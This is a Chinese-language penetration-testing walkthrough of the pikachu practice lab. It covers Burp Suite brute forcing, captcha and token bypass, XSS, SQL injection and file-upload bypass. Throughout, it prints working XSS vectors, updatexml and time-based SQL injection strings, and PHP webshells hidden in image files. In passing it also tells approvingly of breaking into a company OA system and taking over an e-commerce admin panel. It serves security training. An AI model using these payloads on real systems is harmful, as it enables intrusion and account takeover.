1. 暴力破解实战:从入门到绕过
暴力破解是渗透测试中最基础的攻击手段之一,但往往被初学者低估其技术含量。我在pikaqiu靶场实战中发现,现代Web应用通常会采用多种防护措施,这就需要我们掌握不同的绕过技巧。
1.1 基础表单爆破四步法
最简单的表单爆破就像用钥匙串开锁。首先用Burp Suite拦截登录请求(建议使用Firefox浏览器,它的开发者工具对新手更友好)。我习惯在用户名和密码栏输入"test"这类测试字符,这样在Burp的Proxy模块能快速定位到登录请求。把捕获的POST请求发送到Intruder模块后,需要特别注意两个细节:
- 在Positions标签页清除默认变量,只保留username和password两个爆破点
- 在Payloads标签页加载字典时,推荐使用SecLists字典库中的
rockyou.txt精简版,这个字典包含常见弱口令且体积适中
爆破过程中有个实用技巧:在Options标签页设置"Grep - Extract"可以自动标记成功响应。我遇到过一个案例,成功登录的响应包长度与其他请求仅相差3个字节,肉眼很难察觉,但这个功能帮我准确识别出了正确凭证。
1.2 验证码绕过的两种姿势
靶场中验证码绕过分为服务端(on server)和客户端(on client)两种类型,我最初练习时经常混淆。服务端验证码漏洞的特点是:虽然页面显示新验证码,但服务器实际只检查第一次提交的验证码。通过Burp Repeater重放请求5-6次就能确认是否存在此漏洞。而客户端验证码则是完全依赖前端JS验证,用Burp拦截请求后直接删除captcha参数就能绕过。
有个易错点:某些系统会在服务端session中存储验证码,但不会自动清除。这时可以先获取有效验证码,然后在Intruder中固定这个验证码值进行爆破。我在某次实战中,用这个方法配合密码喷洒(Password Spraying)技术,成功突破了企业OA系统。
1.3 Token防护的破解之道
遇到token防爆破机制时,新手常会束手无策。pikaqiu靶场的token案例非常典型,需要用到Burp的宏(Macro)功能。具体操作分五步:
- 在Project options→Sessions标签页添加新会话处理规则
- 选择"从宏派生"并创建新宏,录制获取token的请求流程
- 设置token参数提取规则(建议用正则表达式匹配)
- 在Intruder的Resource Pool中将线程数设为1(避免并发导致token混乱)
- 启用"Update token in real time"选项
这里有个坑:某些系统会检查token来源IP,需要配合X-Forwarded-For头使用。我写过一个Python脚本自动维护token池,将爆破速度从原来的2次/秒提升到15次/秒。
2. XSS攻击的九种变形记
跨站脚本攻击看似简单,但在实际渗透中需要根据防护措施灵活变通。我在pikaqiu靶场中遇到的XSS变种,基本涵盖了Web安全竞赛中的常见题型。
2.1 反射型XSS的突破技巧
遇到前端长度限制时,Chrome开发者工具的Override功能比直接修改HTML更方便。具体操作:在Sources面板创建本地覆盖,找到校验函数直接注释掉。对于更复杂的DOM型XSS,我总结出一个调试公式:
- 在Console执行
monitorEvents(window)监听事件 - 使用
debugger语句在可疑函数处断点 - 观察
document.write或innerHTML的调用栈
最近遇到个有趣案例:某CMS使用AngularJS的$sanitize过滤输入,但忘记转义ng-init属性。最终通过构造<div ng-init="alert(1)">成功执行代码。
2.2 存储型XSS的持久化攻击
留言板类型的存储型XSS要注意闭合原有HTML标签。我常用的测试向量是:
</textarea><script>alert(1)</script>这个payload能有效绕过大多数富文本编辑器过滤。对于更严格的过滤,可以尝试Unicode编码:
\u003cscript\u003ealert(1)\u003c/script\u003e在真实渗透测试中,存储型XSS要配合CORS和CSRF综合利用。我曾通过一个商品评论XSS,最终获取到管理员Cookie接管整个电商平台后台。
2.3 高级过滤绕过实战
当遇到htmlspecialchars过滤时,重点要测试哪些上下文没有被转义。pikaqiu靶场中的href属性就是个典型案例。除了常规的javascript:协议,还可以尝试:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">点击</a>对于JS输出点的利用,需要仔细分析源码上下文。有个快速判断方法:在Chrome调试器中设置"Pause on caught exceptions",然后尝试各种闭合方式观察报错信息。
3. SQL注入的十八般武艺
SQL注入是Web安全的经典课题,但不同数据库、不同注入点需要采用不同技术。我在pikaqiu靶场中实践了从基础到高级的各种注入技巧。
3.1 联合查询注入的精准判断
数字型注入最容易识别,但字符型注入需要耐心测试闭合符号。我的测试顺序通常是:
- 输入单引号
'观察报错 - 尝试
'、"、)、'))等组合 - 用
--+、#、/*测试注释符号
有个实用技巧:当order by不确定字段数时,可以二分法快速定位。比如先试order by 10,如果报错再试order by 5,逐步缩小范围。
3.2 报错注入的另类用法
在pikaqiu靶场的insert注入场景中,updatexml报错注入是最佳选择。但要注意MySQL 5.7+版本对报错信息长度有限制。我改进后的payload:
1' and updatexml(1,concat(0x7e,substring(hex(user()),1,20),0x7e),1) and '1'='1对于Delete语句注入,要注意URL编码问题。Burp的Decoder模块可以快速转换:
原语句:delete from comments where id=1 注入点:1+and+updatexml(1,concat(0x7e,database(),0x7e),1)3.3 盲注的时间优化技巧
布尔盲注虽然可靠但效率低下。我通常先用ascii(substring(database(),1,1))>100快速确定大致范围,再用二分法精确定位。对于时间盲注,推荐使用:
1' and if(ascii(substring(database(),1,1))>100,sleep(2),0) and '1'='1有个提升效率的小技巧:在Burp Intruder的Grep-Extract设置匹配规则,自动标记响应时间超过阈值的请求。我在某次实战中,用这个方法将盲注速度提升了3倍。
4. 文件上传的终极绕过
文件上传漏洞看似简单,但要突破各种防护需要系统化的绕过思路。pikaqiu靶场提供了从客户端校验到服务端检测的完整挑战链。
4.1 客户端校验的三种突破方式
当遇到JS文件类型校验时,我常用的绕过方法有:
- 拦截请求修改Content-Type(如改
image/jpeg) - 先上传合法文件再修改后缀名
- 使用Burp的"Paste from file"功能直接上传恶意文件
对于前端图片预览检测,可以制作包含恶意代码的图片:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' test.jpg4.2 服务端检测的深度绕过
MIME类型检测容易被image/jpeg等头信息欺骗,但更严格的getimagesize检测需要特殊处理。我的制作方法是:
- 用GIMP创建1x1像素的透明图片
- 在文件末尾追加PHP代码
- 使用Hex编辑器修改文件头保持完整性
对于内容检测,可以采用二次渲染绕过:
<?php $img = imagecreate(1,1); imagecolorallocate($img,0,0,0); imagestring($img,1,0,0,'<?php eval($_POST["x"]); ?>',0xFFFFFF); imagepng($img,'shell.png'); ?>4.3 解析漏洞的综合利用
上传后的文件能否执行,还取决于服务器解析规则。我收集的常见解析漏洞包括:
- IIS的
shell.jpg;.php分号解析 - Nginx的
shell.jpg%00.php截断 - Apache的
shell.php.xxx多后缀解析
在pikaqiu靶场最后一步,需要结合文件包含漏洞执行上传的webshell。这里有个细节:使用中国菜刀连接时,要注意编码问题。我更喜欢用蚁剑(AntSword),它对各种编码环境兼容性更好。